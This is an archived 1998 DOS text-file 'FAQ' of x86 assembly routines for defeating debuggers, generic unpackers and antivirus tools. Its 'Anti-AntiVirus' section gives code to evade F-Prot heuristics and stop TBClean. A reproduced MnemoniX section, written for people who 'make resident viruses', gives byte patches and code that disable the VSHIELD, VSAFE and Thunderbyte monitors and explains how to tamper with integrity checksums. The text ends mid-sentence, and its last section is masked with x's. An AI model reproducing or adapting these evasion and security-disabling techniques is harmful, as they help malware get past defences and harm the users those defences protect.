Insider - FAQ, Edition #3 UNComplete
12128 of 48,815 files
- Browsers may flag this download as unwanted or malicious. If unsure, scan it with VirusTotal.
-
Last modified May 14, 2014 8:03:35 PM
MD5 checksum e15cb7ceb35c97568db1f35f7f8dd625
Mime type ISO-8859 text, with CRLF line terminators
Download insider3.txt
Size 38 kB
1998 March 20
- Text / Magazine
- Christoph Gabler, writer credits
½½½½½½½½½½½½½½½½½½½½½½½½½½½½½½½½½½½½½½½½½½½½½½½½½½½½½½½½½½½½½½½½½½½½½½½½½½½½½½
»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»
INSIDER - FAQ
Edition #3 UNComplete
by Christoph Gabler
Release Date : 20.03.98
½½½½½½½½½½½½½½½½½½½½½½½½½½½½½½½½½½½½½½½½½½½½½½½½½½½½½½½½½½½½½½½½½½½½½½½½½½½½½½
»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»
────── ──────
─── ───
───────────────┐
│ Introduction │
└───────────────
The INSIDER - FAQ is a very helpfull assembly based document that includes
source codes from many good coders. I've taken them from other magazines
or programs around. You will find only WORKING (I've tested them all!)
ASM code. Every line is commented by the author or by myself.
If you want the uncovered TOP SECRETS! section write a nice EMail and
you'll get the complete version of this FAQ. I hope you'll find something
usefull (especially my own Anti-AV routine is nice).
These section can be found in the INSIDER - FAQ :
──────────────────┐ ┌────────────────────── ────────────────────────┐
│ Anti Trace Code │ │ Anti-AntiVirus Code │ │ How to fool unpackers │
└────────────────── ──────────────────────┘ └────────────────────────
────────────────
│ TOP SECRETS! │
────────────────
-> If you have coded your own anti-trace/debug routine please send it to
me and it will be added here!
Legend: »» = The two arrows mean that the following text is a comment
by myself.
í! = This means that the following source code is very usefull.
──────────────────┐
│ Anti Trace Code │
└──────────────────
╓═════════════════════════╖
║ Vector cut (Int1) ║
║ by Piotr Warezak (C) ║
╚═════════════════════════╝
»»
The following code shows how to stop most realmode Debugger/Tracer
like IUP,Debug,Xtract...
»»
push ds ;save DS register
xor ax,ax ;zero DS register
mov ds,ax
not word ptr ds:[0005] ;cut off INT1 vector for a moment
jmp short j1
db 09ah
j1: not word ptr ds:[0005] ;restore INT1 vector
pop ds ;restore DS register
╓═════════════════════════╖
║ Nice stack-trick 1 ║
║ by Christoph Gabler ║
╚═════════════════════════╝
»»
Here is just a possibility how to detect any realmode debuggers/unpacker.
It is not very tight but to make it work everywhere I used some lines
for compatibilty - they are actually not very important.
It detects : CUP386 /1, TD, TD286, DEBUG and more...
»»
MOV DX,SP ; Save SP to DX.
MOV CL,CS:BYTE PTR [00] ; Save the original 00. For 100% compatibilty. =8]
MOV BL,CS:BYTE PTR [01] ; Same as above with 01.
MOV CS:BYTE PTR [00],0CDh ; Write the normal values - just to make sure.
MOV CS:BYTE PTR [01],020h ; Same as above with 01.
MOV AX,3
MOV SP,AX ; Corrupt the stack, now lame debugs modify 01.
MOV SP,DX ; Restore SP.
MOV AL,CS:BYTE PTR [01] ; Write the value back. (Is in DEBUG=82h)
MOV CS:BYTE PTR [00],CL ; Write 00/01 back.
MOV CS:BYTE PTR [01],BL
CMP AX,20h ; If not 20h then a realmode debugger is there.
JNE $ ; Jump at current position.
╓═════════════════════════╖
║ Nice stack-trick 2 ║
║ by Christoph Gabler ║
╚═════════════════════════╝
»»
Much tighter but much easier to find out how it works. Fills SS
with my magic number (Most other numbers do not work).
Of course only against realmode debuggers.
»»
MOV BX,SS ; Save SS to BX
MOV DX,52121d ; Preparing DX for the corruption
MOV SS,DX ; Corrupt SS with the help of DX / Hlts DEBUG
XOR DX,DX
MOV SS,BX ; Restore SS
MOV BX,DX
╓═════════════════════════╖
║ Nice stack-trick 3 ║
║ by Christoph Gabler ║
╚═════════════════════════╝
»»
This time all enhanced regs will be corrupted. A bit noughtier than
the one above.
»»
MOV BX,DS ; Save DS in BX
MOV SI,ES ; Save ES in CX
MOV DX,52121d ; Preparing DX for the corruption
MOV DX,SS ; Save SS in DX
MOV DS,AX ; Write crap into DS
MOV ES,DX ; Write crap into ES
MOV SS,AX ; Write crap into SS
MOV DS,BX ; Restore DS
MOV ES,SI ; Restore ES
MOV SS,DX ; Restore SS
╓═════════════════════════╖
║ Nice stack-trick 4 ║
║ by Christoph Gabler ║
╚═════════════════════════╝
»»
The following code uses the stack to jump. Most realmode debugs
get kicked at the SP-modify, to get every realmode tracer the JMP SP
is included. This routine works best in addition with a decryption loop.
»»
MOV AX,OFFSET JUMP_TO ; Get the position to jump to.
MOV BX,SP ; Save SP to BX.
MOV SP,AX ; Fill SP with the jump value.
JMP SP ; Jump to the position.
JUMP_TO:
MOV SP,BX ; Restore SP.
»»
Very common method to detect realmode tracers - often found in protectors.
It stops: Debug,Turbo Debug,Realmode Debug...
»»
PUSH AX
POP AX
DEC SP
DEC SP
POP BX ; BX should point to the pushed AX.
CMP AX,BX
JNE $ ; Kill DEBUG if found.
╓═════════════════════════╖
║ GTR 1.85 Slowdown ║
║ by Christoph Gabler ║
╚═════════════════════════╝
»»
GTR 1.85 needs about 3 minutes to trace through the following code.
It turns the scroll lock led on and quickly off again.
The GTR user might think that GTR has stopped.
Not very usefull at all...
»»
push ds ; Save DS
xor ax,ax
mov ds,ax
mov bx,0417
mov byte ptr [bx],16d ; Turn only scroll lock ON
call ScrollDo
jmp ScrollOFF
ScrollDo:
mov ah,01
int 16h ; Change keyb func.
ret
ScrollOFF:
mov byte ptr [bx],80 ; Turn the scroll lock OFF
call ScrollDo
pop ds ; Restore DS
╓═════════════════════════╖
║ Winice recognization ║
║ by ? ║
╚═════════════════════════╝
»»
How to recognize Winice? The following routine shows how to do it.
Stonehead told me that the routine hangs sometimes - I do not know, test it.
Detects: Only Winice Win 3.1/Win95 NOT the Dos version.
»»
; Anti SoftIce trick #1
mov ax,01684h
mov bx,0202h ; VXD ID for Winice, check out Ralf Brown's INTLIST
xor di,di
mov es,di
int 2fh
mov ax,es
add di,ax
cmp di,0
jne winice_is_installed
jmp REST_OF_ASM
winice_is_installed:
int 21h
jmp winice_is_installed
REST_OF_ASM:
»»
Here is another way to get Winice. Credits go to DarkStalker.
I haven't tested it yet.
»»
cli
In Ax,40h
Mov word ptr cs:[bp+keyval],Ax
push 0
pop ds
xor ebx,ebx
mov bx,cs
shl ebx,10h
lea bx,[bp+newint2]
xchg ebx,dword ptr ds:[41h*4]
push ds cs
pop ds
Mov Ah,4Fh
Int 41h
pop ds
XChg EBx,DWord Ptr Ds:[41h*4]
Push Cs
Pop Ds
Cmp Ax,0000h
keyval Equ $-2
Jne $
sti
NewInt2:
╓══════════════════════════╖
║ Anti Deglucker 0.04 code ║
║ by Christoph Gabler ║
╚══════════════════════════╝
»»
The following routine shows a possibility how to defeat DG with just
3 bytes. If you trace it with DG, a 'protection fault' will be displayed
and you cannot continue. The problem is that you are still able to NOP the
code out.
»»
DB 66h,0FAh,0FBh ; Opcode 66h, CLI, STI
here another little instruction which causes DG to
display 'protection fault' :
CMPSD ; Compare string or doubleword 386+
╓═══════════════════════════════╖
║ Generic Anti TR 1.97 trick ║
║ by Torsten Becker ║
╚═══════════════════════════════╝
»»
Here is a nice way to stop TR. You can put the following two bytes
before any other instruction like a NOP or a XOR...
The problem is that TR is able to bypass when in INT1-mode.
You are asking yourself how to hinder tracing it with INT1? Ask me
for the uncovered INSIDER.FAQ. :)
»»
DB 66h,67h ; Kicks TR 1.97
NOP ; Or any other command.
╓══════════════════════════════════╖
║ TR - unknown instruction listing ║
║ by Christoph Gabler ║
╚══════════════════════════════════╝
»»
The following source shows a few commands which cannot be traced with
TR 1.97 without using INT1. Most instruction are unknown to TR and some
simply hang TR when trying to trace them.
Of course they are more or less useless if you can bypass them with INT1
but there are so MANY ways to get TR's INT1 - trace method :
Cut INT1 before placing these instructions or play with the stack...
»»
Instructions which are unknown to TR 1.97 :
CLTS ; Clear Task Switched Flag 286+ privileged mode
JECXZ LABEL ; Jump to LABEL if ECX zero 386+
BSR EAX,EBX ; Bit Scan Reverse 386+
BSF EAX,EBX ; Bit Scan Forward 386+
CMPXCHG EAX,EBX ; Compare and Exchange 486+
BSWAP EAX ; Byteswap 486+
╓═════════════════════╖
║ Fake entrypoint #1 ║
║ by Christoph Gabler ║
╚═════════════════════╝
»»
Almost anyone has heard about fake entrypoints. They can be found
in HS and RC to fool DECAY05 or in CS to fool CUP386. There are many
other protectors in which such a entrypoint fake can be found.
But how does it work? Pretty simple, the following code is such a
routine. CUP386 and DECAY05 get fooled.
You can place code before the routine and after the routine.
»»
MOV CX,9000h ; Fake the entrypoint 9000h times.
XOR DX,DX ; We must clear DX first.
MOV DL,CS:BYTE PTR [100h] ; Save the byte found at 100h.
MOV CS:BYTE PTR [100h],0C3h ; Write a RET to 100h.
MOV AX,100h
FAKE_ENTRY:
CALL AX ; Call 100h.
LOOP FAKE_ENTRY
MOV CS:BYTE PTR [100h],DL ; Restore the byte we overwrote before.
╓═════════════════════╖
║ Fake entrypoint #2 ║
║ by Christoph Gabler ║
╚═════════════════════╝
»»
Another possibility to fake some unpackers. This time it does not restore
100h and 101h - I think if you need the restore, you can do it yourself.
»»
MOV CX,9000h ; Fake the entrypoint 9000h times.
XOR DX,DX ; We must clear DX first.
MOV DL,OFFSET THERE - 100h ; This is to generate the correct JMP back.
ADD DX,100h ; Add 100h 'cause we jump there.
MOV CS:BYTE PTR [100h],0FFh ; Write the jump command to 100h.
MOV CS:BYTE PTR [101h],0E2h
MOV AX,100h
JMP AX ; Jump to 100h.
THERE:
CMP CX,0 ; If CX = 0 then we are done.
JE OVER_FAKE
DEC CX
JMP AX ; Do it again.
OVER_FAKE: ; Place the rest of your code here.
╓═════════════════════╖
║ Fake entrypoint #3 ║
║ by Christoph Gabler ║
╚═════════════════════╝
»»
If you want that CUP386/DECAY dumps a file with a text specified by yourself
like CrackStop's "FUCK YOU" the next routine might be interesting for you.
If you try to unpack it with CUP386 the .CUP file will look like this :
" NO CHANCE "
IMPORTANT: This routine won't work at the beginning because it will overwrite
itself otherwise. And only 100h is restored, but it is mostly
neccassary to restore the others too.
»»
MOV CX,9000h ; Fake the entrypoint 9000h times.
XOR DX,DX ; We must clear DX first.
MOV DL,CS:BYTE PTR [100h] ; Save the byte found at 100h.
MOV CS:BYTE PTR [100h],0C3h ; Write a RET to 100h.
; The following code will write the string ' NO CHANCE ' to the memory.
MOV BX,101h
MOV DL,4Eh
CALL WRITE_IT
MOV DL,4Fh
CALL WRITE_IT
MOV DL,20h
CALL WRITE_IT
MOV DL,43h
CALL WRITE_IT
MOV DL,48h
CALL WRITE_IT
MOV DL,41h
CALL WRITE_IT
MOV DL,4Eh
CALL WRITE_IT
MOV DL,43h
CALL WRITE_IT
MOV DL,45h
CALL WRITE_IT
MOV DL,0B4h
CALL WRITE_IT
JMP OVER_WRITE
WRITE_IT:
MOV CS:BYTE PTR [BX],DL ; Write a RET to 100h.
INC BX
RET
OVER_WRITE:
MOV AX,100h
FAKE_ENTRY:
CALL AX ; Call 100h.
LOOP FAKE_ENTRY
MOV CS:BYTE PTR [100h],DL ; Restore the byte we overwrote before.
╓═══════════════════════════════╖
║ Nonsense DisplayText ║
║ Ripped out of PCrypt by Trill ║
╚═══════════════════════════════╝
»»
For the real stupid, here a little routine how to display a text in the
center of the screen. Usefull in edition with Detection routines.
»»
xor ah,ah
mov al,03h
int 10h ; Change screen mode to 80x25.
mov ah,02h
xor bh,bh
mov dh,12
mov dl,0
int 10h ; Center the text.
mov dx,offset lamer
mov ah,9
int 21h ; Display text function.
cli ; After displaying the text HaLT the system.
hlt
lamer db " Only lamers do it this way.$"
╓═════════════════════════╖
║ Cheap IceUnp detection ║
║ by Christoph Gabler ║
╚═════════════════════════╝
»»
IceUnp uses good trace modes but the coder forgot one really dumb thing :
His program does always use the same temporary file that is created before
the Iceunp traced the file - a very stupid mistake because Iceunp can be
detected while just searching the temp file called '1ICEUNP'
Here is a method how to do it.
> This one is cheap too. Get a REAL IceUnp detection in the UNcovered version
of INSIDER.FAQ !
»»
mov ah,4Eh ; Find the first match
lea dx,[bp+offset ICETEMP] ; Load the offset filemask dx
int 21h ; Call DOS
jnc $ ; Jump at current pos. if 1ICEUNP
found.
; Rest of your code
ICETEMP db '1ICEUNP',0 ; This must be placed out of range.
╓══════════════════════════════════════╖
║ 32 Bit Control- & Debug Register FAQ ║
║ By Christoph Gabler (C) ║
╚══════════════════════════════════════╝
»»
The following section should complain the working and function of
the 32 Bit Control and Debug registers which can used to detect nearly
ANY 80386 Debugger/GenericUnpacker. This short FAQ should describe
what the CPU and Debugger does when it executes modification on DRx/CRx.
If you know anything more about these registers please write it down
and I'll add it here!
»»
(1) The following 'enhanced' 32 Bit registers exist :
[CRx] Control Registers (Modifications are QEMM incompatible)
CR0,CR2,CR3
[DRx] Debug Registers
DR0,DR1,DR2,DR3,(DR4),DR5,DR6,DR7
[TRx] Test Registers
TR4,TR5,TR6,TR7
(2) Description/function of the single register :
CR0 = Should not be set to a value over ca. 7000h -> CPU/Debug reboots.
With CR0 CUP386 /7 can be detected. Iceunp/TR can be kicked with
modification. Mostly incompatible with QEMM.
CR2 = Should not be modified, crashs on Cyrix.
CR3 = ANY modification under EMM386 causes an error -> Press Return to
reboot the system.
DR4 = TASM is not able to compile it but it can be manually compiled
and works : DB 0Fh,21h,0E0h
DR6 = After every executation DR6 is restored to the value of DR4.
DR5 = A very nice way to get GTR 1.90 is the modification over 2000.
Same value as DR7.
DR7 = Main debug register. Restore is required. Normal is DR7 = 400
Normal DR7 does not restore itself like CR0, but if you set
DR7 to 10000 or higher it will change the value.
TR4-TR7 = May not be accessed directly -> CPU hangs.
Important : Any CR0 modification can't be executed under QEMM.
A 'exception error #13' follows then. QEMM tells us
that this error appears because code with modified CR0
hangs - a stupid joke! Stupid because *I* had to
rewrite TRAP so that QEMM doesn't get 'angry'.
If you want your progs QEMM-compatible you can
write a easy QEMM detection : Check if CR0 has the
value 11h, if so jump over the CR0 modification.
Works only if the debugger/tracer does not work under
QEMM and EMM386 of course.
(3) The emulation listing of todays most Generic Unpackers :
CUP386 /3 = Tracing seems to be the same as GTR uses. Very bad DR7
emulation. Traces through LOCK/HLT ?!?
CUP386 /7 = Similar to the method Iceunp uses. Very bad CR0 emulation.
Traces through LOCK/HLT ?!?
GTR 1.A1 = Enhanced emulation since the last version. Stabilty
was VERY increased : Reboot-detect and great error detection.
IceUnp = The *VERY BEST* 32B register emulation but can be defeated
with CR0 modification.
TR 1.92 = Good emulation but with DR2 TR can be easily detected.
'MOV E(A)X,DR3' hangs TR 1.92 ?!?
TR 1.97 = LiuTaoTao, DR7/CR0/FS and GS are changed after every
instruction. The new TR handles them as they would
be 'normal' registers like EAX,EBX...
TR 1.98 = Liu's first release was a joke. Then a two days later he
released a 'bugfree' version. It is of course better than
1.97 but has still many bugs and wrong emulations.
AUP386 = Very difficult to say because this 'unpacker' is SO
full of bugs -> Hangs the most time... But hey! - I could
unpack PKLite ! =8]
DECAY05 = Does not trace, but searchs for the entrypoint. ROSE showed
some possibilities to fool DECAY05 (HS,RC286...)
But therefor DECAY05 has a '/A' switch to unpack it
automatically. TRAP detects DECAY05 and reboots the CPU
if found because DECAY05 has many bugs with which it can
be detected...
┌──────────────────────
│ Anti-AntiVirus Code │
──────────────────────┘
╓═════════════════════════╖
║ Anti F-Prot Heuristic ║
║ By someone at Crypt ?? ║
╚═════════════════════════╝
»»
A very popular routine to avoid F-Prot's Heuristic Analysis. I think it's
a dumb waste of space using it - I have something better - watch at
TOP SECRETS!. Poor F-Prot, if it can be avoided by just jumping forwards
a few times. =8]
»»
call screw_fprot ; confusing f-protect's
call screw_fprot ; heuristic scanning
call screw_fprot ; Still effective as of
call screw_fprot ; version 2.10
call screw_fprot ;
call screw_fprot ; [cf] Crypt Newsletter 18
call screw_fprot ; for explanation &
call screw_fprot ; rationale
call screw_fprot ;
call screw_fprot ;
screw_fprot:
jmp $ + 2 ; Pseudo-nested calls to confuse
call screw2 ; f-protect's heuristic
call screw2 ; analysis
call screw2 ;
call screw2 ;
call screw2 ; These are straight from
ret ; YB-X.
screw2:
jmp $ + 2
call screw3
call screw3
call screw3
call screw3
call screw3
ret
screw3:
jmp $ + 2
call screw4
call screw4
call screw4
call screw4
call screw4
ret
screw4:
jmp $ + 2
ret
╓═════════════════════════╖
║ Anti TBClean routine ║
║ By someone at Crypt ??? ║
╚═════════════════════════╝
»»
Here is THE popularest routine to stop TBClean. It is very big in size
and it sucks 'cause TBClean can be stopped with 'CLI and STI'.
»»
look_4_tbclean:
mov ax, word ptr ds:[si]
xor ax, 0A5F3h
je check_it ; Jump If It's TBClean
look_again:
inc si ; Continue Search
loop look_4_tbclean
jmp not_found ; TBClean Not Found
check_it:
mov ax, word ptr ds:[si+4]
xor ax, 0006h
jne look_again
mov ax, word ptr ds:[si+10]
xor ax, 020Eh
jne look_again
mov ax, word ptr ds:[si+12]
xor ax, 0C700h
jne look_again
mov ax, word ptr ds:[si+14]
xor ax, 406h
jne look_again
mov bx, word ptr ds:[si+17] ; Steal REAL Int 1 Offset
mov byte ptr ds:[bx+16], 0CFh ; Replace With IRET
mov bx, word ptr ds:[si+27] ; Steal REAL Int 3 Offset
mov byte ptr ds:[bx+16], 0CFh ; Replece With IRET
mov byte ptr cs:[tb_here][bp], 1 ; Set The TB Flag On
mov bx, word ptr ds:[si+51h] ; Get 2nd Segment of
mov word ptr cs:[tb_int2][bp], bx ; Vector Table
mov bx, word ptr ds:[si-5] ; Get Offset of 1st Copy
mov word ptr cs:[tb_ints][bp], bx ; of Vector Table
not_found:
mov cx, 9EBh
mov ax, 0FE05h
jmp $-2
add ah, 3Bh ; Hlt Instruction (Kills TD)
jmp $-10
mov ax, 0CA00h ; Exit It TBSCANX In Mem
mov bx, 'TB'
int 2Fh
cmp al, 0
je tbcleanok
ret
tbcleanok:
╓══════════════════════════════╖
║ Patching Memoryresident AVs ║
║ By MnemoniX (C) ║
╚══════════════════════════════╝
»»
This big section was taken from a MnemoniX Anti-AV magazine.
It 'only' describes how to kill AV progs that are resident in mem.
Use it if you make resident viruses.
»»
PATCHING VSHIELD
This patch will prevent VSHIELD from detecting any viruses. This
was tested on VSHIELD V106 - an old version - and probably will not work
on every version, but what the hell. There is a portion of the code which
looks like this:
80 FC 0E cmp ah,0E
74 06 je 0A1C
80 FC 4B cmp ah,4B
74 09 je 0A24
To fix this up, you can :
replace the first byte (80) with CB (a RET)
OR
replace the second JZ (74 09) with two NOP's (90 90)
Either way VSHIELD will no longer scan files as they are executed.
How can you get the original host program past VSHIELD, before VSHIELD has
been patched? Just encrypt it or PKLITE it. Simple enough.
****************************************************
* VSAFE versions 1 and 2 (Central Point/Microsoft) *
****************************************************
While VSAFE 1.0 was conquered a long time ago, not much seems to have
been done to hack VSAFE 2. Making a virus or hacked program VSAFE-resistant
will make it much more viable, since it is a popular AV monitor. The old
tricks that could be played on VSAFE 1 (which was pure crapware) no longer
work like they used to. Here is what I was able to find though a little bit of
investigation ... (BTW, this was tested on MSAV 1.0 and CPAV 2.2. It should
be similar for other versions except where noted.)
Firstly, as with all versions, one can check for the presence of VSAFE
in memory with the following code:
mov ax,0FA00h
mov dx,5945h ("VS")
int 16h
If DI = 4559h ("SV"), VSAFE is present. Functions 16/FA03 and 16/FA08
will return constant values whose significance is unbeknownst to me - they
don't seem to be version numbers.
Next, the old trick which deinstalled VSAFE, which was the same as the
above code except AX = FA01h, won't cut it anymore. Nor will it change the
VSAFE flags anymore when AX = FA02h. Does this mean that the you can no longer
make VSAFE turn the other way? Hardly - there are still ways around it.
(Remember, _no_ program is immune to being duped.)
The two functions to deinstall or change VSAFE options are still there,
but now there's a twist: It checks to see which program is running before it
will act. This is a pain to get around, but not impossible. You can find the
name of the current resident program in the DOS environment, which is found
by getting the DOS environment segment (at offset 2Ch in the PSP), finding
the name of the current program (the environment table is at offset 0, then
two zero bytes signal the end of it, and then there's another two bytes, after
which the name of the current program is found) and changing it to
"\VSAFE.EXE".
Actually, you don't even need to go to all that trouble. You see,
VSAFE doesn't actually check the filename; it just makes a checksum of the
letters in the filename minus extension. I am hesitant to go into the details
of this now; if you want to see how the checksum works examine it yourself.
Suffice it to say that if, before the period in the filename, you insert the
three-byte hex string 5CFF76, VSAFE will think it's being loaded. Do I hear
cries for an example?
mov ax,ds:[2Ch] ; get environment segment
mov es,ax
xor di,di ; after the table of environ-
mov cx,17D0h ; ment strings, we will find
xor al,al ; the current program name
find_environ_end:
repnz scasb ; scan through environment
cmp byte ptr es:[di],0 ; end of table?
jnz find_environ_end
add di,3 ; address of program name
mov al,'.' ; find extension
repnz scasb ; extension found
mov si,es:[di - 3] ; save orig. program name
mov es:[di - 3],76FFh ; modify program name
mov bh,es:[di - 4] ; make VSAFE think it is
mov byte ptr es:[di - 4],5Ch ; calling itself
; VSAFE 2 may now be unloaded
mov ax,0FA01h ; unload VSAFE
mov dx,5945h
int 16h
; fix up program name again
mov es:[di - 3],si ; replace orig. program name
mov es:[di - 4],bh
Here is a listing of all the VSAFE functions you need to know.
(All functions called by INT 16h with DX = 5945h)
AX = FA00h - Test for VSAFE resident
DI=4559h on return is res.
AX = FA01h - Deinstall VSAFE
AX = FA02h - Change VSAFE flag settings
BL=bits 0-7 represent settings for flags 1-8, resp.
on return, CL holds previous flag setting
AX = FA05h - Turn popup menu on/off
BL=0 (on) or 1 (off)
Version 2 checks name of program currently running before executing
functions FA01, FA02 or FA05.
Deinstalling VSAFE works well if nothing is loaded after it in
memory. However, this may not be the case, and if other programs are loaded
VSAFE gives an error message. Hence I don't consider this the best way to
deactivate the program. A better way would be to patch up VSAFE as described
below, and upon writing the disk, save the VSAFE flags and switch them all
off, then restore when done. This should keep it quiet.
If you're too lazy to mess around with that, there's an even easier
way. The flag status byte in VSAFE 2 is located at offset 0F1Dh in the code,
and you can modify it directly upon finding VSAFE's segment (check INT 16h's
segment.) This particular method will only work for version 2.2; the address
is probably different for other versions.
Moving on, one will find that the old CHKLIST.CPS files have now been
replaced by SMARTCHK.CPS files, which have a different format. (The MSAV
equivalents of these files are CHKLIST.MS and SMARTCHK.MS, respectively.) Each
record is 60 bytes long, and consists of the following data:
Data Offset Length
----------------------------------------------
ASCIIZ filename 0 13
File attributes 13 1
File size 14 4
File time 18 2
File date 20 2
First 32 bytes of file 22 32
Checksum data 54 4
Apparently always set to zero. 58 2
Now, a VSAFE-smart virus could increase its stealthiness by modifying
this data, which isn't as much of a pain as it may sound. It could modify the
filenames, so VSAFE no longer properly checks the programs. A more ambitious
programmer could look for the filename, change the first few recorded bytes of
the file, change the date, and fix the checksum. But how do we calculate the
checksum, you ask? Good question. The checksum routine in VSAFE 2 is long and
complicated. (In case you were wondering, the VSAFE 1.0 checksum can be
calculated like this:
DS:SI = offset of first 64 bytes of file
(or if file is < 64 bytes long, the entire file)
BX = high word of 32-bit checksum
DX = low word of 32-bit checksum
CX = 64 (for loop) or size of file if < 64 bytes
AH = 0 (for addition)
vsafe_checksum:
lodsb ; add first byte
add dx,ax
adc bx,0
lodsb ; subtract second byte
sub dx,ax
sbb bx,0
lodsb ; XOR third byte by first checksum
xor dl,al ; byte only
sub cx,3
cmp cx,2
ja vsafe_checksum
The finished checksum is in BX:DX.) I haven't figured out the VSAFE 2 checksum
routine yet - it's much more complicated. But you're welcome to look.
The included UNSAFE.ASM program is a virus, and demonstrates the
manipulation of VSAFE flags and corruption of SMARTCHK.CPS files. As a
demonstration, try setting the write protect flag on, and then infect a few
files. VSAFE will not warn you of the write, because the flags are temporarily
turned off by the virus when it spreads. Examine and learn.
PATCHING VSAFE
When VSAFE 2.2 is installed, it installs a routine onto interrupt 21h which
checks for different DOS calls, as all monitors do. There is a portion of the
interrupt 21 code which looks like this :
80 FC 4B cmp ah,4B ; this catches the DOS execute program
74 62 jz 0BAF ; call so VSAFE can do program checks
80 FC 4C cmp ah,4C ; this catches a DOS terminate program
74 33 jz 0B85 ; call so VSAFE can check memory
80 FC 00 cmp ah,0 ; another terminate program call check
74 15 jz 0B6C
If we set the trap flag, set AH to 99h (or any nonexistent function
call), call interrupt 21 and scan the code with a tracing routine, we will
eventually find this point. Once we do, it's quite simple to eliminate VSAFE
checks when a program begins and ends:
80 FC 4B cmp ah,4B
90 nop ; the JZ's have been replaced with two
90 nop ; NOP's each ... VSAFE will no longer
80 FC 4C cmp ah,4C ; check programs as they are run,
90 nop ; or check memory when a program
90 nop ; terminates, because it won't know
80 FC 4C cmp ah,0 ; when these things happen anymore.
90 nop
90 nop
(A brief note: A program can also terminate via interrupt 20h, and
VSAFE _will_ check memory if a program terminates this way. This interrupt
is more difficult to tunnel - once the DOS segment is reached, the tunneling
must be stopped - but it is not impossible. A similar patch could be created
to solve the problem.)
***************
* Thunderbyte *
***************
TB MONITORS
All TB monitors work through TBDRIVER and hook the critical interrupts
21h,13h, and 40h. These same monitors can be defeated by recursive tunneling
if TBDRIVER's ability to detect such tunneling is deactivated, however.
TBDRIVER'S DETECTION OF RECURSIVE TUNNELING
TBDRIVER is resistant to most recursive tunneling. When an interrupt
21 is called, TBDRIVER checks the status of the trap flag for a recursive
tunneling routine and will display a message if it is found to be set. The
code that does this appears virtually impenetrable, and looks like this:
(This is from TBDRIVER version 6.14; it may be different now but the idea
is basically the same.)
cli ; clear interrupts to prevent
pushf ; interference ...
cld
push ax ; what this, in essence, does is
push bx ; that is saves a value on the stack,
xchg ax,bx ; pops it, decrements the stack ptr.
pop ax ; to point to it again, pops it again,
dec sp ; and if the value changed, an int-
dec sp ; errupt must have occured. Since the
pop bx ; interrupt flag is off, the only
cmp ax,bx ; interrupt this could be is a type 1 -
pop bx ; the trap flag interrupt routine.
jz 02A1 ; If two values popped are different,
; it warns the user.
PATCHING TBDRIVER
Now, there is no way to fool this routine. You can't hide the change
to the value on the stack. However, you _can_ scan for this code in your
tunneling routine, and modify it if it is found. You could look, for example,
for the following code in the interrupt 21 routine:
5C pop bx
3B C3 cmp ax,bx
5B pop bx
74 0D jz 02A1
If we find the string 5C 3B C3 5B 74 0D, we know TBDRIVER is present.
The next step is modifying the code to make it useless.
The JZ instruction is the test. If AX and BX are equal, then the Z
flag is set, and if the Z flag is set, the code is not being traced as far
as TBDRIVER is concerned. Hence, you want it to act as though the Z flag was
_always_ set. You could do this by changing the instruction to a JMP:
EB 0D jmp 02A1
Now you find the original offset of DOS's interrupt 21 with the same
tunneling routine, and call it directly, bypassing all TB utilities.
DISABLING TBSCANX
Earlier versions of TBSCANX hook INT 2Fh when they load, and install
the following functions :
AX = CA00h Test for installation (return FF in AL if res.)
BX = 'TB' ('tb' on return if resident)
AX = CA04h Scan file
DS:DX = program to be scanned
(carry set means infected, ES:BX=filename)
With a little work and a good debugger, you can trace the code of other AV
monitors and find similar code in the interrupt 21h or 13h routines. If you
know what you're doing, you could create similar patches to the ones above
for these monitors. The same could be done with non-resident virus scanners,
although this is a more difficult job, and not really worth it in my opinion
since most good scanners check themselves and probably won't find any _good_
new virus anyway.
- MnemoniX
────────────────────────┐
│ How to fool unpackers │
└────────────────────────
╓════════════════════════════╖
║ Intruder (pASCAL) 'fool' ║
║ by Christoph Gabler ║
╚════════════════════════════╝
If you want to make your progs written in TP or BP restistent against
the 'unpacker' Intruder. This ultimative
groovy and fantastic prog is 'bout unfoolable!!! BUT there is a method
- of course VERY difficult, try it ONLY if you have a VERY good knowlegde
in ASM (?) ! You need to change "!#S456789:;" into whatever you want to
(it won't be executed) and this godlike unpacker called Intruder won't find
ANYTHING (WOOWIIE! mAN, yOU mUST bE a rEAL hACKER tO dO tHIS!!!!)
────────────────
│ TOP SECRETS! │
────────────────
The following section includes the greatest sources! But because you did
not register there are 'some' 'xxx' placed here and there...
╓══════════════════════════════╖
║ Tightest way to kill TBClean ║
║ by Christoph Gabler (C) ║
╚══════════════════════════════╝
»»
xxxx xx xxx easiest and tightest way to stop TBClean. xx xxxx xxxx x xxxxxxx
xxxx xxxxx xxxxx xx xxx. x xxxxxxcexxxr xxx.
»»
xxxxx ; Really a joke, isn't? This is enough to stop TBClean!
»»
This one stops TBClean while using xxx xx xx xxxx xx. xxx xx is normally
used to call/use xxx xxxxxxxx. TBClean thinks the same but...
»»
xxx xx,xxxxxxx ; Free xxxx area
xxx xxh ; Use xxx xx xx xxxx TBClean
╓═══════════════════════════════════════════════╖
║ The Best way to halt ANY 8086 Tracer/Debugger ║
║ by Christoph Gabler (C) ║
╚═══════════════════════════════════════════════╝
»»
Here is THE best method to fuck up ANY 8086 Tracer/Debugger that exists.
Ok, what it finally does IS simple BUT it works.
This routine - again by myself HANGS TBClean. It does not 'only' stop it.
It xxxxxxxx xxx xxxxx xx xxxxxxx xxxxx xx xx.
»»
xxx BX,xx ; xaxe xx to xx
xxx xx,xx ; xxxxxxx xx xxxx xxx xxxx xx xx / Hlts 8086 tracer/debuger
XOR DX,DX
MOV xx,BX ; xestoxe xx
xxV BX,DX
╓═══════════════════════════════╖
║ How to mess up some 386 Debug?║
║ by Max Maischein ║
╚═══════════════════════════════╝
»»
Here is a great xxxxxxxxxxxxxxxxxxxx stop almost any 80386 Debugger/Tracer
like CUP386,Tracer,Soft-Ice (all versions)
»»
.386p
xxx xxX,xxx
xx EAX,xx00h
MOV xxx,EAX
xxV xxx,xxx
TxSx eax,xxx00h
JZ OK ; Jump if no 386 Debugger
found.
DEBUG_FOUND: JMP DEBUG_FOUND ; Let's loop!
OK: ; Rest of your code.
╓═══════════════════════════════╖
║ Universal 80386 Rebooter ║
║ by Christoph Gabler (C) ║
╚═══════════════════════════════╝
»»
This is THE routine to kill almost any 80386 Tracer/Debugger expect
